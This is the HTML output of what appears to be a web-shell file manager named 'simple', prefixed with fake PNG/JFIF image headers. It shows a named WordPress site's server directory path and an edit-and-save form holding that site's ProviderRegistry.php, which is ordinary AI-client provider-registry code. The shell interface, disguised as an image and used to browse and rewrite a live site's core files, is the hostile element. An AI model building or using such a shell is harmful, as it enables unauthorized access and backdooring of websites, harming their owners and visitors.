�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2F'>franchiseregistrierung.kaisers-original.com</a>/<a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2Fhtdocs%2Fwp-includes%2Fphp-ai-client%2F'>php-ai-client</a>/<a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2Fhtdocs%2Fwp-includes%2Fphp-ai-client%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2Fhtdocs%2Fwp-includes%2Fphp-ai-client%2Fsrc%2FProviders%2F'>Providers</a>/</p><hr><h3>✏️ Editing: ProviderRegistry.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers;

use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as DiscoveryNotFoundException;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Contracts\ProviderInterface;
use WordPress\AiClient\Providers\Contracts\ProviderWithOperationsHandlerInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\DTO\ProviderModelsMetadata;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\HttpTransporterFactory;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
use WordPress\AiClient\Providers\Models\DTO\ModelRequirements;
/**
 * Registry for managing AI providers and their models.
 *
 * This class provides a centralized way to register AI providers, discover
 * their capabilities, and find suitable models based on requirements.
 *
 * @since 0.1.0
 */
class ProviderRegistry implements WithHttpTransporterInterface
{
    use WithHttpTransporterTrait {
        setHttpTransporter as setHttpTransporterOriginal;
    }
    /**
     * @var array&lt;string, class-string&lt;ProviderInterface&gt;&gt; Mapping of provider IDs to class names.
     */
    private array $registeredIdsToClassNames = [];
    /**
     * @var array&lt;class-string&lt;ProviderInterface&gt;, string&gt; Mapping of provider class names to IDs.
     */
    private array $registeredClassNamesToIds = [];
    /**
     * @var array&lt;class-string&lt;ProviderInterface&gt;, RequestAuthenticationInterface&gt; Mapping of provider class names to
     *                                                                             authentication instances.
     */
    private array $providerAuthenticationInstances = [];
    /**
     * Registers a provider class with the registry.
     *
     * @since 0.1.0
     *
     * @param class-string&lt;ProviderInterface&gt; $className The fully qualified provider class name implementing the
     * ProviderInterface
     * @throws InvalidArgumentException If the class doesn&#039;t exist or implement the required interface.
     */
    public function registerProvider(string $className): void
    {
        if (!class_exists($className)) {
            throw new InvalidArgumentException(sprintf(&#039;Provider class does not exist: %s&#039;, $className));
        }
        // Validate that class implements ProviderInterface
        if (!is_subclass_of($className, ProviderInterface::class)) {
            throw new InvalidArgumentException(sprintf(&#039;Provider class must implement %s: %s&#039;, ProviderInterface::class, $className));
        }
        $metadata = $className::metadata();
        if (!$metadata instanceof ProviderMetadata) {
            throw new InvalidArgumentException(sprintf(&#039;Provider must return ProviderMetadata from metadata() method: %s&#039;, $className));
        }
        // If there is already a HTTP transporter instance set, hook it up to the provider as needed.
        try {
            $httpTransporter = $this-&gt;getHttpTransporter();
        } catch (RuntimeException $e) {
            /*
             * If this fails, it&#039;s okay. There is no defined sequence between setting the HTTP transporter in the
             * registry and registering providers in it, so it might be that the transporter is set later. It will be
             * hooked up then.
             * But for now we can ignore this exception and attempt to set the default HTTP transporter, if possible.
             */
            try {
                $this-&gt;setHttpTransporter(HttpTransporterFactory::createTransporter());
                $httpTransporter = $this-&gt;getHttpTransporter();
            } catch (DiscoveryNotFoundException $e) {
                /*
                 * If no HTTP client implementation can be discovered yet, we can ignore this for now.
                 * It might be set later, so it&#039;s not a hard error at this point.
                 * We&#039;ll try again the next time a provider is registered, or maybe by that time an explicit
                 * HTTP transporter will have been set.
                 */
            }
        }
        if (isset($httpTransporter)) {
            $this-&gt;setHttpTransporterForProvider($className, $httpTransporter);
        }
        // Hook up the request authentication instance, using a default if not set.
        if (!isset($this-&gt;providerAuthenticationInstances[$className])) {
            $defaultProviderAuthentication = $this-&gt;createDefaultProviderRequestAuthentication($className);
            if ($defaultProviderAuthentication !== null) {
                $this-&gt;providerAuthenticationInstances[$className] = $defaultProviderAuthentication;
            }
        }
        if (isset($this-&gt;providerAuthenticationInstances[$className])) {
            $this-&gt;setRequestAuthenticationForProvider($className, $this-&gt;providerAuthenticationInstances[$className]);
        }
        $this-&gt;registeredIdsToClassNames[$metadata-&gt;getId()] = $className;
        $this-&gt;registeredClassNamesToIds[$className] = $metadata-&gt;getId();
    }
    /**
     * Gets a list of all registered provider IDs.
     *
     * @since 0.1.0
     *
     * @return list&lt;string&gt; List of registered provider IDs.
     */
    public function getRegisteredProviderIds(): array
    {
        return array_keys($this-&gt;registeredIdsToClassNames);
    }
    /**
     * Checks if a provider is registered.
     *
     * @since 0.1.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name to check.
     * @return bool True if the provider is registered.
     */
    public function hasProvider(string $idOrClassName): bool
    {
        return $this-&gt;isRegisteredId($idOrClassName) || $this-&gt;isRegisteredClassName($idOrClassName);
    }
    /**
     * Gets the class name for a registered provider.
     *
     * @since 0.1.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @return class-string&lt;ProviderInterface&gt; The provider class name.
     * @throws InvalidArgumentException If the provider is not registered.
     */
    public function getProviderClassName(string $idOrClassName): string
    {
        // If it&#039;s already a class name, return it
        if ($this-&gt;isRegisteredClassName($idOrClassName)) {
            return $idOrClassName;
        }
        // If it&#039;s a registered ID, return its class name
        if ($this-&gt;isRegisteredId($idOrClassName)) {
            return $this-&gt;registeredIdsToClassNames[$idOrClassName];
        }
        // Not found
        throw new InvalidArgumentException(sprintf(&#039;Provider not registered: %s&#039;, $idOrClassName));
    }
    /**
     * Gets the provider ID for a registered provider.
     *
     * @since 0.2.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @return string The provider ID.
     * @throws InvalidArgumentException If the provider is not registered.
     */
    public function getProviderId(string $idOrClassName): string
    {
        // If it&#039;s already an ID, return it
        if ($this-&gt;isRegisteredId($idOrClassName)) {
            return $idOrClassName;
        }
        // If it&#039;s a registered class name, return its ID
        if ($this-&gt;isRegisteredClassName($idOrClassName)) {
            return $this-&gt;registeredClassNamesToIds[$idOrClassName];
        }
        // Not found
        throw new InvalidArgumentException(sprintf(&#039;Provider not registered: %s&#039;, $idOrClassName));
    }
    /**
     * Checks if a provider is properly configured.
     *
     * @since 0.1.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @return bool True if the provider is configured and ready to use.
     */
    public function isProviderConfigured(string $idOrClassName): bool
    {
        try {
            $className = $this-&gt;resolveProviderClassName($idOrClassName);
            // Use static method from ProviderInterface
            /** @var class-string&lt;ProviderInterface&gt; $className */
            $availability = $className::availability();
            return $availability-&gt;isConfigured();
        } catch (InvalidArgumentException $e) {
            return \false;
        }
    }
    /**
     * Finds models across all available providers that support the given requirements.
     *
     * @since 0.1.0
     *
     * @param ModelRequirements $modelRequirements The requirements to match against.
     * @return list&lt;ProviderModelsMetadata&gt; List of provider models metadata that match requirements.
     */
    public function findModelsMetadataForSupport(ModelRequirements $modelRequirements): array
    {
        $results = [];
        foreach ($this-&gt;registeredIdsToClassNames as $providerId =&gt; $className) {
            $providerResults = $this-&gt;findProviderModelsMetadataForSupport($providerId, $modelRequirements);
            if (!empty($providerResults)) {
                // Use static method from ProviderInterface
                /** @var class-string&lt;ProviderInterface&gt; $className */
                $providerMetadata = $className::metadata();
                $results[] = new ProviderModelsMetadata($providerMetadata, $providerResults);
            }
        }
        return $results;
    }
    /**
     * Finds models within a specific available provider that support the given requirements.
     *
     * @since 0.1.0
     *
     * @param string $idOrClassName The provider ID or class name.
     * @param ModelRequirements $modelRequirements The requirements to match against.
     * @return list&lt;ModelMetadata&gt; List of model metadata that match requirements.
     */
    public function findProviderModelsMetadataForSupport(string $idOrClassName, ModelRequirements $modelRequirements): array
    {
        $className = $this-&gt;resolveProviderClassName($idOrClassName);
        // If the provider is not configured, there is no way to use it, so it is considered unavailable.
        if (!$this-&gt;isProviderConfigured($className)) {
            return [];
        }
        $modelMetadataDirectory = $className::modelMetadataDirectory();
        // Filter models that meet requirements
        $matchingModels = [];
        foreach ($modelMetadataDirectory-&gt;listModelMetadata() as $modelMetadata) {
            if ($modelRequirements-&gt;areMetBy($modelMetadata)) {
                $matchingModels[] = $modelMetadata;
            }
        }
        return $matchingModels;
    }
    /**
     * Gets a configured model instance from a provider.
     *
     * @since 0.1.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @param string $modelId The model identifier.
     * @param ModelConfig|null $modelConfig The model configuration.
     * @return ModelInterface The configured model instance.
     * @throws InvalidArgumentException If provider or model is not found.
     */
    public function getProviderModel(string $idOrClassName, string $modelId, ?ModelConfig $modelConfig = null): ModelInterface
    {
        $className = $this-&gt;resolveProviderClassName($idOrClassName);
        $modelInstance = $className::model($modelId, $modelConfig);
        $this-&gt;bindModelDependencies($modelInstance);
        return $modelInstance;
    }
    /**
     * Binds dependencies to a model instance.
     *
     * This method injects required dependencies such as HTTP transporter
     * and authentication into model instances that need them.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $modelInstance The model instance to bind dependencies to.
     * @return void
     */
    public function bindModelDependencies(ModelInterface $modelInstance): void
    {
        $className = $this-&gt;resolveProviderClassName($modelInstance-&gt;providerMetadata()-&gt;getId());
        if ($modelInstance instanceof WithHttpTransporterInterface) {
            $modelInstance-&gt;setHttpTransporter($this-&gt;getHttpTransporter());
        }
        if ($modelInstance instanceof WithRequestAuthenticationInterface) {
            $requestAuthentication = $this-&gt;getProviderRequestAuthentication($className);
            if ($requestAuthentication !== null) {
                $modelInstance-&gt;setRequestAuthentication($requestAuthentication);
            }
        }
    }
    /**
     * Gets the class name for a registered provider (handles both ID and class name input).
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @return class-string&lt;ProviderInterface&gt; The provider class name.
     * @throws InvalidArgumentException If provider is not registered.
     */
    private function resolveProviderClassName(string $idOrClassName): string
    {
        // If it&#039;s already a class name, return it
        if ($this-&gt;isRegisteredClassName($idOrClassName)) {
            return $idOrClassName;
        }
        // If it&#039;s a registered ID, return its class name
        if ($this-&gt;isRegisteredId($idOrClassName)) {
            return $this-&gt;registeredIdsToClassNames[$idOrClassName];
        }
        // Not found
        throw new InvalidArgumentException(sprintf(&#039;Provider not registered: %s&#039;, $idOrClassName));
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void
    {
        $this-&gt;setHttpTransporterOriginal($httpTransporter);
        // Make sure all registered providers have the HTTP transporter hooked up as needed.
        foreach ($this-&gt;registeredIdsToClassNames as $className) {
            $this-&gt;setHttpTransporterForProvider($className, $httpTransporter);
        }
    }
    /**
     * Sets the request authentication instance for the given provider.
     *
     * @since 0.1.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @param RequestAuthenticationInterface $requestAuthentication The request authentication instance.
     */
    public function setProviderRequestAuthentication(string $idOrClassName, RequestAuthenticationInterface $requestAuthentication): void
    {
        $className = $this-&gt;resolveProviderClassName($idOrClassName);
        $this-&gt;providerAuthenticationInstances[$className] = $requestAuthentication;
        $this-&gt;setRequestAuthenticationForProvider($className, $requestAuthentication);
    }
    /**
     * Gets the request authentication instance for the given provider, if set.
     *
     * @since 0.1.0
     *
     * @param string|class-string&lt;ProviderInterface&gt; $idOrClassName The provider ID or class name.
     * @return ?RequestAuthenticationInterface The request authentication instance, or null if not set.
     */
    public function getProviderRequestAuthentication(string $idOrClassName): ?RequestAuthenticationInterface
    {
        $className = $this-&gt;resolveProviderClassName($idOrClassName);
        if (!isset($this-&gt;providerAuthenticationInstances[$className])) {
            return null;
        }
        return $this-&gt;providerAuthenticationInstances[$className];
    }
    /**
     * Sets the HTTP transporter for a specific provider, hooking up its class instances.
     *
     * @since 0.1.0
     *
     * @param class-string&lt;ProviderInterface&gt; $className The provider class name.
     * @param HttpTransporterInterface $httpTransporter The HTTP transporter instance.
     */
    private function setHttpTransporterForProvider(string $className, HttpTransporterInterface $httpTransporter): void
    {
        $availability = $className::availability();
        if ($availability instanceof WithHttpTransporterInterface) {
            $availability-&gt;setHttpTransporter($httpTransporter);
        }
        $modelMetadataDirectory = $className::modelMetadataDirectory();
        if ($modelMetadataDirectory instanceof WithHttpTransporterInterface) {
            $modelMetadataDirectory-&gt;setHttpTransporter($httpTransporter);
        }
        if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) {
            $operationsHandler = $className::operationsHandler();
            if ($operationsHandler instanceof WithHttpTransporterInterface) {
                $operationsHandler-&gt;setHttpTransporter($httpTransporter);
            }
        }
    }
    /**
     * Sets the request authentication for a specific provider, hooking up its class instances.
     *
     * @since 0.1.0
     *
     * @param class-string&lt;ProviderInterface&gt; $className The provider class name.
     * @param RequestAuthenticationInterface $requestAuthentication The authentication instance.
     *
     * @throws InvalidArgumentException If the authentication instance is not of the expected type.
     */
    private function setRequestAuthenticationForProvider(string $className, RequestAuthenticationInterface $requestAuthentication): void
    {
        $authenticationMethod = $className::metadata()-&gt;getAuthenticationMethod();
        if ($authenticationMethod === null) {
            throw new InvalidArgumentException(sprintf(&#039;Provider %s does not expect any authentication, but got %s.&#039;, $className, get_class($requestAuthentication)));
        }
        $expectedClass = $authenticationMethod-&gt;getImplementationClass();
        if (!$requestAuthentication instanceof $expectedClass) {
            throw new InvalidArgumentException(sprintf(&#039;Provider %s expects authentication of type %s, but got %s.&#039;, $className, $expectedClass, get_class($requestAuthentication)));
        }
        $availability = $className::availability();
        if ($availability instanceof WithRequestAuthenticationInterface) {
            $availability-&gt;setRequestAuthentication($requestAuthentication);
        }
        $modelMetadataDirectory = $className::modelMetadataDirectory();
        if ($modelMetadataDirectory instanceof WithRequestAuthenticationInterface) {
            $modelMetadataDirectory-&gt;setRequestAuthentication($requestAuthentication);
        }
        if (is_subclass_of($className, ProviderWithOperationsHandlerInterface::class)) {
            $operationsHandler = $className::operationsHandler();
            if ($operationsHandler instanceof WithRequestAuthenticationInterface) {
                $operationsHandler-&gt;setRequestAuthentication($requestAuthentication);
            }
        }
    }
    /**
     * Creates a default request authentication instance for a provider.
     *
     * @since 0.1.0
     *
     * @param class-string&lt;ProviderInterface&gt; $className The provider class name.
     * @return ?RequestAuthenticationInterface The default request authentication instance, or null if not required or
     *                                         if no credential data can be found.
     */
    private function createDefaultProviderRequestAuthentication(string $className): ?RequestAuthenticationInterface
    {
        $providerMetadata = $className::metadata();
        $providerId = $providerMetadata-&gt;getId();
        $authenticationMethod = $providerMetadata-&gt;getAuthenticationMethod();
        if ($authenticationMethod === null) {
            return null;
        }
        $authenticationClass = $authenticationMethod-&gt;getImplementationClass();
        if ($authenticationClass === null) {
            return null;
        }
        $authenticationSchema = $authenticationClass::getJsonSchema();
        // Iterate over all JSON schema object properties to try to determine the necessary authentication data.
        $authenticationData = [];
        if (isset($authenticationSchema[&#039;properties&#039;]) &amp;&amp; is_array($authenticationSchema[&#039;properties&#039;])) {
            /** @var array&lt;string, mixed&gt; $details */
            foreach ($authenticationSchema[&#039;properties&#039;] as $property =&gt; $details) {
                $envVarName = $this-&gt;getEnvVarName($providerId, $property);
                // Try to get the value from environment variable or constant.
                $envValue = getenv($envVarName);
                if ($envValue === \false) {
                    if (!defined($envVarName)) {
                        continue;
                        // Skip if neither environment variable nor constant is defined.
                    }
                    $envValue = constant($envVarName);
                    if (!is_scalar($envValue)) {
                        continue;
                    }
                }
                if (isset($details[&#039;type&#039;])) {
                    switch ($details[&#039;type&#039;]) {
                        case &#039;boolean&#039;:
                            $authenticationData[$property] = filter_var($envValue, \FILTER_VALIDATE_BOOLEAN);
                            break;
                        case &#039;number&#039;:
                            $authenticationData[$property] = (int) $envValue;
                            break;
                        case &#039;string&#039;:
                        default:
                            $authenticationData[$property] = (string) $envValue;
                    }
                } else {
                    // Default to string if no type is specified.
                    $authenticationData[$property] = (string) $envValue;
                }
            }
            // If any required fields are missing, return null to avoid immediate errors.
            if (isset($authenticationSchema[&#039;required&#039;]) &amp;&amp; is_array($authenticationSchema[&#039;required&#039;])) {
                /** @var list&lt;string&gt; $requiredProperties */
                $requiredProperties = $authenticationSchema[&#039;required&#039;];
                if (array_diff_key(array_flip($requiredProperties), $authenticationData)) {
                    return null;
                }
            }
        }
        /** @var RequestAuthenticationInterface */
        /** @var array&lt;string, mixed&gt; $authenticationData */
        return $authenticationClass::fromArray($authenticationData);
    }
    /**
     * Checks if the given value is a registered provider class name.
     *
     * @since 0.4.0
     *
     * @param string $idOrClassName The value to check.
     * @return bool True if it&#039;s a registered class name.
     * @phpstan-assert-if-true class-string&lt;ProviderInterface&gt; $idOrClassName
     */
    private function isRegisteredClassName(string $idOrClassName): bool
    {
        return isset($this-&gt;registeredClassNamesToIds[$idOrClassName]);
    }
    /**
     * Checks if the given value is a registered provider ID.
     *
     * @since 0.4.0
     *
     * @param string $idOrClassName The value to check.
     * @return bool True if it&#039;s a registered provider ID.
     */
    private function isRegisteredId(string $idOrClassName): bool
    {
        return isset($this-&gt;registeredIdsToClassNames[$idOrClassName]);
    }
    /**
     * Converts a provider ID and field name to a constant case environment variable name.
     *
     * @since 0.1.0
     *
     * @param string $providerId The provider ID.
     * @param string $field The field name.
     * @return string The environment variable name in CONSTANT_CASE.
     */
    private function getEnvVarName(string $providerId, string $field): string
    {
        // Convert camelCase or kebab-case or snake_case to CONSTANT_CASE.
        $constantCaseProviderId = strtoupper((string) preg_replace(&#039;/([a-z])([A-Z])/&#039;, &#039;$1_$2&#039;, str_replace(&#039;-&#039;, &#039;_&#039;, $providerId)));
        $constantCaseField = strtoupper((string) preg_replace(&#039;/([a-z])([A-Z])/&#039;, &#039;$1_$2&#039;, str_replace(&#039;-&#039;, &#039;_&#039;, $field)));
        return &quot;{$constantCaseProviderId}_{$constantCaseField}&quot;;
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Ffranchiseregistrierung.kaisers-original.com%2Fhtdocs%2Fwp-includes%2Fphp-ai-client%2Fsrc%2FProviders'>🔙 Back</a></p>